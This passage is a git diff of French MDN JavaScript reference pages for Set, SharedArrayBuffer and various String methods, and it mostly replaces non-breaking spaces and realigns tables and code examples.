===. Notamment, pour les objets `Set`, `+0` (qui, selon l'égalité stricte, est égal à `-0`) et `-0` sont des valeurs différentes. Cela a toutefois été changé avec la dernière version d'ECMAScript 2015 (ES6). Voir le tableau de compatibilité ci-après quant à la prise en charge de l'égalité des clés pour `0` et `-0`. {{jsxref("NaN")}} and {{jsxref("undefined")}} peuvent être enregistrés dans un objet `Set`. `NaN` est considéré comme `NaN` (bien que `NaN !== NaN`). diff --git a/files/fr/web/javascript/reference/global_objects/set/values/index.md b/files/fr/web/javascript/reference/global_objects/set/values/index.md index 2a0de375f4..c8b6de9f00 100644 --- a/files/fr/web/javascript/reference/global_objects/set/values/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/values/index.md @@ -48,7 +48,7 @@ console.log(setIter.next().value); // "machin" | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/index.md b/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/index.md index 76dc3ea66f..d83172e1b7 100644 --- a/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/index.md +++ b/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/index.md @@ -38,7 +38,7 @@ Un nouvel objet `SharedArrayBuffer` de la taille donnée, dont les éléments so Pour partager une zone mémoire entre plusieurs objets {{jsxref("SharedArrayBuffer")}} d'un agent à un autre (ici un agent correspond au programme principal de la page web ou à l'un de ses _web workers_), on utilise [`postMessage`](/fr/docs/Web/API/Worker/postMessage) et [le clonage structuré](/fr/docs/Web/API/Web_Workers_API/Structured_clone_algorithm). -L'algorithme de clonage structuré permet d'envoyer des objets `SharedArrayBuffers` et `TypedArrays` vers `SharedArrayBuffers`. Dans les deux cas, l'objet `SharedArrayBuffer` est transmis au récepteur, ce qui crée un nouvel objet `SharedArrayBuffer`, privé, au sein de l'agent qui reçoit (comme avec {{jsxref("ArrayBuffer")}}). Cependant, le bloc de mémoire référencé par les deux objets ` Shared``ArrayBuffer ` est bien le même bloc. Aussi, si un agent interagit avec cette zone, l'autre agent pourra voir les modifications. +L'algorithme de clonage structuré permet d'envoyer des objets `SharedArrayBuffers` et `TypedArrays` vers `SharedArrayBuffers`. Dans les deux cas, l'objet `SharedArrayBuffer` est transmis au récepteur, ce qui crée un nouvel objet `SharedArrayBuffer`, privé, au sein de l'agent qui reçoit (comme avec {{jsxref("ArrayBuffer")}}). Cependant, le bloc de mémoire référencé par les deux objets ` Shared``ArrayBuffer ` est bien le même bloc. Aussi, si un agent interagit avec cette zone, l'autre agent pourra voir les modifications. ```js var sab = new SharedArrayBuffer(1024); diff --git a/files/fr/web/javascript/reference/global_objects/string/@@iterator/index.md b/files/fr/web/javascript/reference/global_objects/string/@@iterator/index.md index 38ea873740..3fcd4f9784 100644 --- a/files/fr/web/javascript/reference/global_objects/string/@@iterator/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/@@iterator/index.md @@ -60,7 +60,7 @@ for (var c of chaine) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/bold/index.md b/files/fr/web/javascript/reference/global_objects/string/bold/index.md index 63faf319aa..e802608391 100644 --- a/files/fr/web/javascript/reference/global_objects/string/bold/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/bold/index.md @@ -25,7 +25,7 @@ Une chaîne de caractères représentant un élément HTML {{HTMLElement("b")}}. ## Description -La méthode `bold()` place la chaine de caractères dans une balise `<b>` : +La méthode `bold()` place la chaine de caractères dans une balise `<b>` : `"<b>str</b>`" ## Exemples diff --git a/files/fr/web/javascript/reference/global_objects/string/charat/index.md b/files/fr/web/javascript/reference/global_objects/string/charat/index.md index 5e6c4ef2b6..db2faaca87 100644 --- a/files/fr/web/javascript/reference/global_objects/string/charat/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/charat/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/String/charAt --- {{JSRef}} -La méthode **`charAt()`** renvoie une nouvelle chaîne contenant le caractère (ou, plus précisément, le point de code UTF-16) à la position indiquée en argument. +La méthode **`charAt()`** renvoie une nouvelle chaîne contenant le caractère (ou, plus précisément, le point de code UTF-16) à la position indiquée en argument. {{EmbedInteractiveExample("pages/js/string-charat.html")}} diff --git a/files/fr/web/javascript/reference/global_objects/string/codepointat/index.md b/files/fr/web/javascript/reference/global_objects/string/codepointat/index.md index 8f6b9a9827..0b5ca592ed 100644 --- a/files/fr/web/javascript/reference/global_objects/string/codepointat/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/codepointat/index.md @@ -110,7 +110,7 @@ if (!String.prototype.codePointAt) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/concat/index.md b/files/fr/web/javascript/reference/global_objects/string/concat/index.md index 10583c89a1..7902329226 100644 --- a/files/fr/web/javascript/reference/global_objects/string/concat/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/concat/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/String/concat --- {{JSRef}} -La méthode **`concat()`** combine le texte de plusieurs chaînes avec la chaîne appelante et renvoie la nouvelle chaîne ainsi formée. +La méthode **`concat()`** combine le texte de plusieurs chaînes avec la chaîne appelante et renvoie la nouvelle chaîne ainsi formée. {{EmbedInteractiveExample("pages/js/string-concat.html")}} @@ -31,7 +31,7 @@ Une nouvelle chaîne de caractères qui contient la concaténation des chaînes ## Description -La fonction `concat()` renvoie une nouvelle chaîne correspondant à la concaténation des différents arguments avec la chaîne courante. La chaîne courante est celle sur laquelle a été appelée la méthode `concat()`. Si les valeurs passées en arguments ne sont pas des chaînes de caractères, elles sont automatiquement converties en chaînes (grâce à leur méthode `toString()` avant la concaténation). +La fonction `concat()` renvoie une nouvelle chaîne correspondant à la concaténation des différents arguments avec la chaîne courante. La chaîne courante est celle sur laquelle a été appelée la méthode `concat()`. Si les valeurs passées en arguments ne sont pas des chaînes de caractères, elles sont automatiquement converties en chaînes (grâce à leur méthode `toString()` avant la concaténation). ## Exemples @@ -55,7 +55,7 @@ var salutation = ['Bonjour', ' ', 'Alfred', ' ', '!']; ## Performance -Il est fortement recommandé d'utiliser les {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateurs d'affectation", "", 1)}} (+, +=) plutôt que la méthode `concat()` pour des raisons de performance. +Il est fortement recommandé d'utiliser les {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateurs d'affectation", "", 1)}} (+, +=) plutôt que la méthode `concat()` pour des raisons de performance. ## Spécifications diff --git a/files/fr/web/javascript/reference/global_objects/string/endswith/index.md b/files/fr/web/javascript/reference/global_objects/string/endswith/index.md index ce3dc39e2d..8159c85557 100644 --- a/files/fr/web/javascript/reference/global_objects/string/endswith/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/endswith/index.md @@ -53,13 +53,13 @@ Cette méthode a été ajoutée dans la spécification ECMAScript 6 et peut ne p ```js if (!String.prototype.endsWith) { String.prototype.endsWith = function(searchString, position) { - var subjectString = this.toString(); - if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > subjectString.length) { - position = subjectString.length; + var subjectString = this.toString(); + if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > subjectString.length) { + position = subjectString.length; } position -= searchString.length; var lastIndex = subjectString.lastIndexOf(searchString, position); - return lastIndex !== -1 && lastIndex === position; + return lastIndex !== -1 && lastIndex === position; }; } ``` @@ -69,7 +69,7 @@ if (!String.prototype.endsWith) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/fontcolor/index.md b/files/fr/web/javascript/reference/global_objects/string/fontcolor/index.md index 0764c3f5d1..de13b92277 100644 --- a/files/fr/web/javascript/reference/global_objects/string/fontcolor/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/fontcolor/index.md @@ -32,7 +32,7 @@ Une chaîne de caractères représentant un élément HTML {{HTMLElement("font") ## Description -Si la couleur est représentée sous forme d'un triplet RVB, le format attendu est `rrvvbb`. Ainsi, pour représenter un rose saumon, les différentes composantes seront rouge = FA, vert = 80, et bleu = 72, le triplet s'écrit donc "`FA8072`". +Si la couleur est représentée sous forme d'un triplet RVB, le format attendu est `rrvvbb`. Ainsi, pour représenter un rose saumon, les différentes composantes seront rouge = FA, vert = 80, et bleu = 72, le triplet s'écrit donc "`FA8072`". ## Exemples @@ -48,7 +48,7 @@ console.log(worldString.fontcolor("FF00") + " avec la valeur hexadécimale sur c // '<font color="FF00">Coucou monde</font> avec la valeur hexadécimale sur cette ligne' ``` -L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut `style` de l'élément et de le manipuler de façon générique. Par exemple : +L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut `style` de l'élément et de le manipuler de façon générique. Par exemple : ```js document.getElementById('IDdeVotreElement').style.color = 'red' diff --git a/files/fr/web/javascript/reference/global_objects/string/includes/index.md b/files/fr/web/javascript/reference/global_objects/string/includes/index.md index 55799ebce2..a49e0316db 100644 --- a/files/fr/web/javascript/reference/global_objects/string/includes/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/includes/index.md @@ -70,9 +70,9 @@ if (!String.prototype.includes) { String.prototype.includes = function(search, start) { 'use strict'; - if (search instanceof RegExp) { - throw TypeError('first argument must not be a RegExp'); - } + if (search instanceof RegExp) { + throw TypeError('first argument must not be a RegExp'); + } if (start === undefined) { start = 0; } return this.indexOf(search, start) !== -1; }; diff --git a/files/fr/web/javascript/reference/global_objects/string/index.md b/files/fr/web/javascript/reference/global_objects/string/index.md index 64d251773f..ed56beb00d 100644 --- a/files/fr/web/javascript/reference/global_objects/string/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/index.md @@ -71,7 +71,7 @@ if (a < b) { // true On peut obtenir un résultat semblable avec la méthode [`localeCompare()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare) qui permet de prendre en compte la locale utilisée et qui est héritée par toutes les instances de `String`. -On notera que `a == b` compare les chaînes de caractères `a` et `b` de façon sensible à la casse. Si on souhaite comparer des chaînes sans être sensible à la casse, on pourra utiliser une fonction semblable à : +On notera que `a == b` compare les chaînes de caractères `a` et `b` de façon sensible à la casse. Si on souhaite comparer des chaînes sans être sensible à la casse, on pourra utiliser une fonction semblable à : ```js function isEqual(str1, str2) { @@ -109,7 +109,7 @@ Pour ces raisons, il peut y avoir certains problèmes quand le code attend une c Un objet `String` peut toujours être converti en son équivalent primitif grâce à la méthode [`valueOf()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/valueOf). ```js -console.log(eval(s2.valueOf())); // renvoie 4 +console.log(eval(s2.valueOf())); // renvoie 4 ``` ### Échappement des caractères diff --git a/files/fr/web/javascript/reference/global_objects/string/indexof/index.md b/files/fr/web/javascript/reference/global_objects/string/indexof/index.md index 5f7234c4ee..1d0b16cf0f 100644 --- a/files/fr/web/javascript/reference/global_objects/string/indexof/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/indexof/index.md @@ -39,12 +39,12 @@ L'indice de la première occurrence de la valeur indiquée, `-1` si elle n'est p Les caractères dans une chaîne de caractères sont indexés de la gauche à la droite. L'indice du premier caractère est 0, celui du dernier caractère (d'une chaîne `str`) est `str.length - 1.` ```js -"Blue Whale".indexOf("Blue"); // retourne 0 +"Blue Whale".indexOf("Blue"); // retourne 0 "Blue Whale".indexOf("Blute"); // retourne -1 -"Blue Whale".indexOf("Whale", 0); // retourne 5 -"Blue Whale".indexOf("Whale", 5); // retourne 5 -"Blue Whale".indexOf(""); // retourne 0 -"Blue Whale".indexOf("", 9); // retourne 9 +"Blue Whale".indexOf("Whale", 0); // retourne 5 +"Blue Whale".indexOf("Whale", 5); // retourne 5 +"Blue Whale".indexOf(""); // retourne 0 +"Blue Whale".indexOf("", 9); // retourne 9 "Blue Whale".indexOf("", 10); // retourne 10 "Blue Whale".indexOf("", 11); // retourne 10 ``` @@ -119,9 +119,9 @@ console.log(count); // Affiche 2 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/lastindexof/index.md b/files/fr/web/javascript/reference/global_objects/string/lastindexof/index.md index 8aa2008326..6aa075c1d4 100644 --- a/files/fr/web/javascript/reference/global_objects/string/lastindexof/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/lastindexof/index.md @@ -25,7 +25,7 @@ La méthode **`lastIndexOf()`** renvoie l'indice, dans la chaîne courante, de l - `valeurRecherchée` - : Une chaîne qu'on recherche dans la chaîne courante. Si ce paramètre n'est pas défini et que `indiceDébut` est utilisé, c'est ce dernier qui sera renvoyé par la fonction. - `indiceDébut` {{optional_inline}} - - : Paramètre optionnel. L'emplacement, dans la chaîne courante, à partir duquel effectuer la recherche (en partant de la fin de la chaîne et en remontant vers le début). Cela peut être n'importe quel entier. La valeur par défaut est `+Infinity`. Si `indiceDébut > str.length`, toute la chaîne sera parcourue. Si `indiceDébut < 0`, on aura le même comportement que si `indiceDébut` valait 0. + - : Paramètre optionnel. L'emplacement, dans la chaîne courante, à partir duquel effectuer la recherche (en partant de la fin de la chaîne et en remontant vers le début). Cela peut être n'importe quel entier. La valeur par défaut est `+Infinity`. Si `indiceDébut > str.length`, toute la chaîne sera parcourue. Si `indiceDébut < 0`, on aura le même comportement que si `indiceDébut` valait 0. ### Valeur de retour @@ -36,17 +36,17 @@ L'indice de la dernière occurrence de la valeur indiquée, `-1` si elle n'est p Les caractères d'une chaîne de caractères sont indexés de gauche à droite. L'indice du premier caractère vaut 0 et l'indice du dernier caractère vaut `maChaîne.length - 1`. ```js -'canal'.lastIndexOf('a'); // renvoie 3 -'canal'.lastIndexOf('a', 2); // renvoie 1 -'canal'.lastIndexOf('a', 0); // renvoie -1 -'canal'.lastIndexOf('x'); // renvoie -1 +'canal'.lastIndexOf('a'); // renvoie 3 +'canal'.lastIndexOf('a', 2); // renvoie 1 +'canal'.lastIndexOf('a', 0); // renvoie -1 +'canal'.lastIndexOf('x'); // renvoie -1 'canal'.lastIndexOf('c', -5); // renvoie 0 -'canal'.lastIndexOf('c', 0); // renvoie 0 -'canal'.lastIndexOf(''); // renvoie 5 -'canal'.lastIndexOf('', 2); // renvoie 2 +'canal'.lastIndexOf('c', 0); // renvoie 0 +'canal'.lastIndexOf(''); // renvoie 5 +'canal'.lastIndexOf('', 2); // renvoie 2 ``` -> **Note :** `'abab'.lastIndexOf('ab', 2)` renvoie `2` et pas `0` car l'argument `indiceDébut` ne limite que le début de la correspondance recherchée ( qui est `'ab'`) +> **Note :** `'abab'.lastIndexOf('ab', 2)` renvoie `2` et pas `0` car l'argument `indiceDébut` ne limite que le début de la correspondance recherchée ( qui est `'ab'`) ### Sensibilité à la casse diff --git a/files/fr/web/javascript/reference/global_objects/string/link/index.md b/files/fr/web/javascript/reference/global_objects/string/link/index.md index d3188e88f6..0c533468b0 100644 --- a/files/fr/web/javascript/reference/global_objects/string/link/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/link/index.md @@ -58,7 +58,7 @@ console.log("Cliquer ici pour revenir sur " + texteAffiché.link(URL)); ## Notes relatives à Gecko -- À partir de Gecko 17.0 {{geckoRelease("17")}} le symbole de double quote **"** est automatiquement remplacé par l'entité HTML de référence dans le paramètre `url`. +- À partir de Gecko 17.0 {{geckoRelease("17")}} le symbole de double quote **"** est automatiquement remplacé par l'entité HTML de référence dans le paramètre `url`. ## Voir aussi diff --git a/files/fr/web/javascript/reference/global_objects/string/localecompare/index.md b/files/fr/web/javascript/reference/global_objects/string/localecompare/index.md index 0ea80e71db..07f6b337f4 100644 --- a/files/fr/web/javascript/reference/global_objects/string/localecompare/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/localecompare/index.md @@ -77,9 +77,9 @@ Les argument `locales` et `options` ne sont pas supportés par tous les navigate ```js function localeCompareSupportsLocales() { try { - "a".localeCompare("b", "i"); + "a".localeCompare("b", "i"); } catch (e) { - return e.name === "RangeError"; + return e.name === "RangeError"; } return false; } @@ -128,12 +128,12 @@ Pour comparer un grand nombre de chaînes de caractères, par exemple pour trier | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2 | -| {{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}} | {{Spec2('ESDraft')}} | | | {{SpecName('ES Int 1.0', '#sec-13.1.1', 'String.prototype.localeCompare')}} | {{Spec2('ES Int 1.0')}} | Définition des paramètres `locale` et `option` | -| {{SpecName('ES Int 2.0', '#sec-13.1.1', 'String.prototype.localeCompare')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-String.prototype.localeCompare', 'String.prototype.localeCompare')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES Int 2.0', '#sec-13.1.1', 'String.prototype.localeCompare')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-String.prototype.localeCompare', 'String.prototype.localeCompare')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/match/index.md b/files/fr/web/javascript/reference/global_objects/string/match/index.md index 9b070559b6..1709c5a758 100644 --- a/files/fr/web/javascript/reference/global_objects/string/match/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/match/index.md @@ -87,7 +87,7 @@ console.log(tableau_correspondances); ### Utiliser un paramètre qui n'est pas une `RegExp` -Lorsque le paramètre passé à la fonction est une chaîne de caractères ou un nombre, il est converti de façon implicite en un objet {{jsxref("RegExp")}} grâce à `new RegExp(obj)`. Si c'est un nombre positif avec le signe +, la méthode `RegExp()` ignorera ce signe. +Lorsque le paramètre passé à la fonction est une chaîne de caractères ou un nombre, il est converti de façon implicite en un objet {{jsxref("RegExp")}} grâce à `new RegExp(obj)`. Si c'est un nombre positif avec le signe +, la méthode `RegExp()` ignorera ce signe. ```js var str1 = "NaN signifie : qui n'est pas un nombre."; @@ -103,9 +103,9 @@ str2.match(+65); // Renvoie également ["65"] | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. | -| {{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-string.prototype.match', 'String.prototype.match')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.match', 'String.prototype.match')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/normalize/index.md b/files/fr/web/javascript/reference/global_objects/string/normalize/index.md index 4e2eaabca9..fdceb450b7 100644 --- a/files/fr/web/javascript/reference/global_objects/string/normalize/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/normalize/index.md @@ -91,7 +91,7 @@ str.normalize("NFKD"); // "\u0073\u0323\u0307" | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-string.prototype.normalize', 'String.prototype.normalize')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-string.prototype.normalize', 'String.prototype.normalize')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-string.prototype.normalize', 'String.prototype.normalize')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/string/padend/index.md b/files/fr/web/javascript/reference/global_objects/string/padend/index.md index 07462ad3f9..7152308b7f 100644 --- a/files/fr/web/javascript/reference/global_objects/string/padend/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/padend/index.md @@ -11,7 +11,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/String/padEnd --- {{JSRef}} -La méthode **`padEnd()`** permet de compléter la chaîne courante avec une chaîne de caractères donnée afin d'obtenir une chaîne de longueur fixée. Pour atteindre cette longueur, la chaîne complémentaire peut être répétée. La chaîne courante est complétée depuis la fin. +La méthode **`padEnd()`** permet de compléter la chaîne courante avec une chaîne de caractères donnée afin d'obtenir une chaîne de longueur fixée. Pour atteindre cette longueur, la chaîne complémentaire peut être répétée. La chaîne courante est complétée depuis la fin. {{EmbedInteractiveExample("pages/js/string-padend.html")}} @@ -33,7 +33,7 @@ Une chaîne de caractères ({{jsxref("String")}}) dont la longueur est celle ind ## Exemples ```js -'abc'.padEnd(10); // "abc " +'abc'.padEnd(10); // "abc " 'abc'.padEnd(10, "toto"); // "abctototot" 'abc'.padEnd(6,"123456"); // "abc123" 'abc'.padEnd(1); // "abc" diff --git a/files/fr/web/javascript/reference/global_objects/string/padstart/index.md b/files/fr/web/javascript/reference/global_objects/string/padstart/index.md index 1957a024e6..9619fec252 100644 --- a/files/fr/web/javascript/reference/global_objects/string/padstart/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/padstart/index.md @@ -33,7 +33,7 @@ Une chaîne de caractères ({{jsxref("String")}}) dont la longueur est celle ind ## Exemples ```js -'abc'.padStart(10); // " abc" +'abc'.padStart(10); // " abc" 'abc'.padStart(10, "toto"); // "totototabc" 'abc'.padStart(6,"123465"); // "123abc" 'abc'.padStart(8, "0"); // "00000abc" diff --git a/files/fr/web/javascript/reference/global_objects/string/replace/index.md b/files/fr/web/javascript/reference/global_objects/string/replace/index.md index 3dbd06edb5..27d6d49033 100644 --- a/files/fr/web/javascript/reference/global_objects/string/replace/index.md +++ b/files/fr/web/javascript/reference/global_objects/string/replace/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/String/replace --- {{JSRef}} -La méthode **`replace()`** renvoie une nouvelle chaîne de caractères dans laquelle tout ou partie des correspondances à un `modèle` sont remplacées par un `remplacement`. Le `modèle` utilisé peut être une {{jsxref("RegExp")}} et le remplacement peut être une chaîne ou une fonction à appeler pour chaque correspondance. Si `modèle` est une chaîne de caractères, seule la première correspondance sera remplacée. +La méthode **`replace()`** renvoie une nouvelle chaîne de caractères dans laquelle tout ou partie des correspondances à un `modèle` sont remplacées par un `remplacement`. Le `modèle` utilisé peut être une {{jsxref("RegExp")}} et le remplacement peut être une chaîne ou une fonction à appeler pour chaque correspondance. Si `modèle` est une chaîne de caractères, seule la première correspondance sera remplacée. La chaîne de caractère originale reste inchangée. @@ -26,28 +26,28 @@ La chaîne de caractère originale reste inchangée. ### Paramètres -- `regexp` (modèle) - - : Un objet ou un littéral {{jsxref("RegExp")}}. La ou les correspondances sont remplacées par `nouvSouschn` ou par la valeur retournée par la `fonction` indiquée. -- `souschn` (modèle) - - : Une {{jsxref("String")}} qui est à remplacer par `nouvSouschn`. Elle est traitée comme une chaîne de caractères verbatim et elle n'est _pas_ interprétée comme une expression régulière. Seule la première occurrence sera remplacée. -- `nouvSouschn` (remplacement) - - : La {{jsxref("String")}} qui remplace la chaîne de caractères indiquée par le paramètre `regexp` ou `souschn`. Un certain nombre de modèles de remplacement spéciaux sont supportés ; voir la section "[Indiquer une chaîne de caractères comme paramètre](#Indiquer_une_chaîne_de_caractère_comme_paramètre)" ci-dessous. -- `fonction` (remplacement) - - : Une fonction à appeler pour créer la nouvelle sous-chaîne de caractères à utiliser pour remplacer la `regexp` ou la `souschn` donnée. Les arguments passés à cette fonction sont décrits dans la section "[Indiquer une fonction comme paramètre](#Indiquer_une_fonction_comme_paramètre)" ci-dessous. +- `regexp` (modèle) + - : Un objet ou un littéral {{jsxref("RegExp")}}. La ou les correspondances sont remplacées par `nouvSouschn` ou par la valeur retournée par la `fonction` indiquée. +- `souschn` (modèle) + - : Une {{jsxref("String")}} qui est à remplacer par `nouvSouschn`. Elle est traitée comme une chaîne de caractères verbatim et elle n'est _pas_ interprétée comme une expression régulière. Seule la première occurrence sera remplacée. +- `nouvSouschn` (remplacement) + - : La {{jsxref("String")}} qui remplace la chaîne de caractères indiquée par le paramètre `regexp` ou `souschn`. Un certain nombre de modèles de remplacement spéciaux sont supportés ; voir la section "[Indiquer une chaîne de caractères comme paramètre](#Indiquer_une_chaîne_de_caractère_comme_paramètre)" ci-dessous. +- `fonction` (remplacement) + - : Une fonction à appeler pour créer la nouvelle sous-chaîne de caractères à utiliser pour remplacer la `regexp` ou la `souschn` donnée. Les arguments passés à cette fonction sont décrits dans la section "[Indiquer une fonction comme paramètre](#Indiquer_une_fonction_comme_paramètre)" ci-dessous. ### Valeur retournée -Une nouvelle chaîne de caractères avec tout ou partie des correspondances du modèle remplacées par un remplacement. +Une nouvelle chaîne de caractères avec tout ou partie des correspondances du modèle remplacées par un remplacement. ## Description -Cette méthode ne change pas l'objet {{jsxref("String")}} auquel elle est appliquée. Elle retourne simplement une nouvelle chaîne de caractères. +Cette méthode ne change pas l'objet {{jsxref("String")}} auquel elle est appliquée. Elle retourne simplement une nouvelle chaîne de caractères. -Pour réaliser une recherche et remplacement global(e), incluez le commutateur `g` dans l'expression régulière. +Pour réaliser une recherche et remplacement global(e), incluez le commutateur `g` dans l'expression régulière. ### Indiquer une chaîne de caractère comme paramètre -La chaîne de caractère de remplacement peut inclure les modèles de remplacement spéciaux suivants : +La chaîne de caractère de remplacement peut inclure les modèles de remplacement spéciaux suivants : <table class="standard-table"> <tbody> @@ -81,11 +81,11 @@ La chaîne de caractère de remplacement peut inclure les modèles de remplace <td><code>$n</code></td> <td> <p> - Où <code><em>n</em></code> est un entier positif inférieur à 100. - Insère la <em>n</em> ième chaîne de sous-correspondance entre - parenthèses, à condition que le premier argument ait été un objet - {{jsxref("RegExp")}}. Notez que ceci est réalisé en - indices base 1. + Où <code><em>n</em></code> est un entier positif inférieur à 100. + Insère la <em>n</em> ième chaîne de sous-correspondance entre + parenthèses, à condition que le premier argument ait été un objet + 